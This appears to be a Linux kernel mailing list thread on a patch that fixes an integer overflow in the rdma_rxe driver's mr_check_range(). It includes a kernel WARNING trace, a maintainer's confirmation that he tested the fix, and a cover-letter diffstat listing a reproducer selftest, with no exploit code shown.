[ 136.830844] ------------[ cut here ]------------ [ 136.830848] WARNING: drivers/infiniband/sw/rxe/rxe_mr.c:99 at rxe_mr_iova_to_index+0x78/0x90 [rdma_rxe], CPU#188: kworker/u957:0/1368 [ 136.830870] Modules linked in: rdma_ucm ib_uverbs ib_uverbs_support rdma_cm iw_cm ib_cm dummy rdma_rxe ib_core ip6_udp_tunnel udp_tunnel joydev uinput snd_seq_dummy snd_hrtimer rfkill nf_conntrack_netbios_ns nf_conntrack_broadcast nft_fib_inet nft_fib_ipv4 nft_fib_ipv6 nft_fib nft_reject_inet nf_reject_ipv4 nf_reject_ipv6 nft_reject nft_ct nft_chain_nat nf_nat nf_conntrack nf_defrag_ipv6 nf_defrag_ipv4 nf_tables sunrpc qrtr snd_hda_codec_generic snd_hda_intel snd_hda_codec snd_hda_core snd_intel_dspcfg snd_intel_sdw_acpi snd_hwdep intel_rapl_msr snd_seq intel_rapl_common snd_seq_device snd_pcm virtio_balloon snd_timer snd i2c_piix4 soundcore pcspkr i2c_smbus zram lz4hc_compress vmw_vsock_virtio_transport vmw_vsock_virtio_transport_common vsock qxl serio_raw drm_exec drm_ttm_helper e1000 ttm ata_generic pata_acpi i2c_dev qemu_fw_cfg virtiofs fuse [ 136.830928] CPU: 188 UID: 0 PID: 1368 Comm: kworker/u957:0 Not tainted 7.2.0-rc5+ #1 PREEMPT(lazy) [ 136.830931] Hardware name: Red Hat KVM, BIOS rel-1.16.3-0-ga6ed6b701f0a-prebuilt.qemu.org 04/01/2014 [ 136.830935] Workqueue: rxe_wq do_work [rdma_rxe] [ 136.830944] RIP: 0010:rxe_mr_iova_to_index+0x78/0x90 [rdma_rxe] [ 136.830953] Code: 48 83 c4 28 e9 f9 1d 79 d2 48 8b 4f 68 48 23 8f 48 01 00 00 48 29 c8 48 89 c2 48 c1 ea 0c 48 63 c2 41 3b 90 58 01 00 00 72 d6 <0f> 0b 48 83 c4 28 e9 cd 1d 79 d2 66 90 66 66 2e 0f 1f 84 00 00 00 [ 136.830954] RSP: 0018:ffffd0c5833c7d38 EFLAGS: 00010286 [ 136.830957] RAX: ffffffffffff332d RBX: 0000000000000008 RCX: 000000000000000c [ 136.830958] RDX: 00000000ffff332d RSI: 000000000000ccd2 RDI: ffff8d8ddc8b7e00 [ 136.830960] RBP: fffffffffffffff8 R08: ffff8d8ddc8b7e00 R09: 000000000000000c [ 136.830961] R10: 0000000000000008 R11: ffff8d8d0ab96e56 R12: ffff8d8ddc8b7e00 [ 136.830962] R13: ffff8d8d0ab96e56 R14: 0000000000000286 R15: ffff8d8cd1a80428 [ 136.830966] FS: 0000000000000000(0000) GS:ffff8d9bcc89a000(0000) knlGS:0000000000000000 [ 136.830968] CS: 0010 DS: 0000 ES: 0000 CR0: 0000000080050033 [ 136.830969] CR2: 000000000ccd39b8 CR3: 00000001061fe000 CR4: 0000000000350ef0 [ 136.830973] Call Trace: [ 136.830975] <TASK> [ 136.830978] ? rxe_pool_get_index+0x4b/0x70 [rdma_rxe] [ 136.830986] rxe_mr_copy_xarray+0xb4/0x170 [rdma_rxe] [ 136.830994] execute+0x27e/0x320 [rdma_rxe] [ 136.831002] rxe_receiver+0x4f9/0xce0 [rdma_rxe] [ 136.831009] ? __pfx_rxe_receiver+0x10/0x10 [rdma_rxe] [ 136.831015] do_task+0x70/0x220 [rdma_rxe] [ 136.831023] process_one_work+0x19e/0x370 [ 136.831028] worker_thread+0x1a6/0x310 [ 136.831030] ? __pfx_worker_thread+0x10/0x10 [ 136.831032] kthread+0xe4/0x120 [ 136.831035] ? __pfx_kthread+0x10/0x10 [ 136.831038] ret_from_fork+0x1a1/0x270 [ 136.831058] ? __pfx_kthread+0x10/0x10 [ 136.831060] ret_from_fork_asm+0x1a/0x30 [ 136.831066] </TASK> [ 136.831067] ---[ end trace 0000000000000000 ]--- [ 136.831077] rxe0: qp#17 make_send_cqe: non-flush error status = 10 [ 207.516233] dummy0 speed is unknown, defaulting to 1000
Quoted 6 lines
I tried it on a Fedora guest running 7.2.0-rc5: it reliably reproduces the WARNING at
rxe_mr_iova_to_index()(i.e. the responder accepting an out-of-bounds index).I'm still learning the RDMA stack, so my understanding of some of the details may not be fully thorough — apologies if anything above is unclear, and I'm happy to correct or expand on whatever is needed.
Thanks a lot. I have made tests with this commit and the test program in the attachment. In my test environment, I can verify this commit can fix the mentioned problem.
Thanks a lot.
Zhu Yanjun
Quoted 32 lines
Thanks
GangQuoted 28 lines
I’d like to use it to reproduce the problem and confirm that this commit fixes the reported issue.
Thanks a lot.
Zhu Yanjun
Quoted 9 lines
Thanks
GangGang Yan (2):
RDMA/rxe: Fix integer overflow inmr_check_range()leading to OOB access
DO-NOT-MERGE: selftest: add rxemr_check_range()overflow reproducerQuoted 9 lines
drivers/infiniband/sw/rxe/rxe_mr.c | 3 +- tools/testing/selftests/rdma/Makefile | 8 +- tools/testing/selftests/rdma/config | 2 + .../testing/selftests/rdma/rxe_mr_overflow.c | 187 ++++++++++++++++++ .../testing/selftests/rdma/rxe_mr_overflow.sh | 132 +++++++++++++ 5 files changed, 330 insertions(+), 2 deletions(-)create mode 100644
tools/testing/selftests/rdma/rxe_mr_overflow.ccreate mode 100644tools/testing/selftests/rdma/rxe_mr_overflow.sh-- Best Regards,
Yanjun.Zhu